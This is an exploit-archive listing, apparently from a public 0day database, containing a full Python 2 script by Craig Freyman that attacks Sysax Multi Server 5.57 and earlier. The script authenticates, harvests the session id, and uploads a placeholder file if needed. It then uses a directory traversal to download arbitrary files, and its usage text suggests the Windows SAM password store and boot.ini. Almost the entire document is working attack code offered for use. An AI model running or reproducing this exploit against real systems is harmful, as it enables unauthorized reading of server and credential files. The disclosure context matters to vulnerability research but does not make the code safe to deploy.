Author

Craig Freyman

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-17932

Category

remote exploits

Date add

03-04-2012

Platform

windows

#!/usr/bin/python
##########################################################################################################
#Title: Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth)
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit and Server 2003 SP2 32bit
#Date Discovered: March 27, 2012
#Vendor Contacted: March 29, 2012
#Vendor Response: April 3, 2012
#Vendor Fixed: (Currently working on fix, check my site for update)
#Details: http://www.pwnag3.com/2012/04/sysax-directory-traversal-exploit.html
##########################################################################################################
 
import socket,sys,time,re,base64,urllib
 
def main():
    #base64 encode the provided creds
    creds = base64.encodestring(user+"\x0a"+password)
 
    print "\n"
    print "****************************************************************************"
    print "       Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth)      "
    print "                      by @cd1zz www.pwnag3.com                          "
    print "         Getting "+getfile+" from " + target + " on port " + str(port)
    print "****************************************************************************"
 
    #setup post for login
    login = "POST /scgi?sid=0&pid=dologin HTTP/1.1\r\n"
    login += "Host: \r\n"
    login += "http://"+target+"/scgi?sid=0&pid=dologin\r\n"
    login += "Content-Type: application/x-www-form-urlencoded\r\n"
    login += "Content-Length: 15\r\n\r\n"
    login += "fd="+creds+"\n\n"
 
    #send post and login creds
    try:
        r = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        r.connect((target, port))
        print "[*] Logging in"
        r.send(login)
    except Exception, e:
        print "[-] Could not login"
        print e
     
    #loop the recv sock so we get the full page
    page = ''  
    fullpage = ''  
    while "</html>" not in fullpage:
        page = r.recv(4096)
        fullpage += page
    time.sleep(1)
 
    #regex the sid from the page
    global sid
    sid = re.search(r'sid=[a-zA-Z0-9]{40}',fullpage,re.M)
    if sid is None:
        print "[x] Could not login. User and pass correct?"
        sys.exit(1)
    time.sleep(1)
 
    #regex to find user's path
    print "[*] Finding your home path"
    global path
    path = re.search(r'file=[a-zA-Z]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
    time.sleep(1)
 
    #if that doesn't work, try to upload a file and check again
    if path is None:
        print "[-] No files found, I will try to upload one for you."
        print "[-] If you don't have rights to do this, it will fail."
 
        upload = "POST /scgi?"+str(sid.group(0))+"&pid=uploadfile_name1.htm HTTP/1.1\r\n"
        upload += "Host:\r\n"
        upload += "Content-Type: multipart/form-data; boundary=---------------------------97336096252362005297691620\r\n"
        upload += "Content-Length: 219\r\n\r\n"
        upload += "-----------------------------97336096252362005297691620\r\n"
        upload += "Content-Disposition: form-data; name=\"upload_file\"; filename=\"file.txt\"\r\n"
        upload += "Content-Type: text/plain\r\n"
        upload += "-----------------------------97336096252362005297691620--\r\n\r\n"
 
        u = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        u.connect((target, port))
        u.send(upload + "\r\n")
        page = ''
        fullpage = ''  
        while "</html>" not in fullpage:
            page = u.recv(4096)
            fullpage += page
        path = re.search(r'file=[a-zA-Z0-9]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
        time.sleep(2)
        if path is None:
            print "\n[x] It failed, you probably don't have rights to upload."
            print "[x] Please retry the script a few times."
            print "[x] You need at least one file in the directory because we need"
            print "[x] to append our directory traversal to the end of your path."
            sys.exit(1)
    print "[+] Got it => " + path.group(0)
    time.sleep(1)
    r.close()
 
def dirtrav():
    #here is the dir trav
    url = "http://"+target+"/scgi?"+str(sid.group(0))+"&"+path.group(0)+"../../../../../../../"+getfile
    try:
        retrieved_file = urllib.urlopen(url)
        filename = raw_input("[+] Got your file. What file name do you want to save it as?  ")
        output = open(filename,'wb')
        output.write(retrieved_file.read())
        output.close()
        print "[*] Done!"
    except Exception, e:
        print "[x] Either the file doesn't exist or you mistyped it. Error below:"
        print "[x] You can also try to browse this site manually:"
        print "[x] " + url
        print e
 
def keepgoing():
    cont = raw_input("[*] Do you want another file (y/n)? ")
    while cont == "y":
        global getfile
        getfile = raw_input("[*] Enter the location of the new file: ")
        dirtrav()
        cont = raw_input("[*] Do you want another file (y/n)? ")
    else:
        sys.exit(1)
     
if __name__ == '__main__':
    if len(sys.argv) != 6:
        print "[+] Usage: ./filename <Target IP> <Port> <User> <Password> <File>"
        print "[+] File examples => windows/repair/sam or boot.ini"
        sys.exit(1)
 
    target, port, user, password, getfile = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5]
     
    main()
    dirtrav()
    keepgoing()



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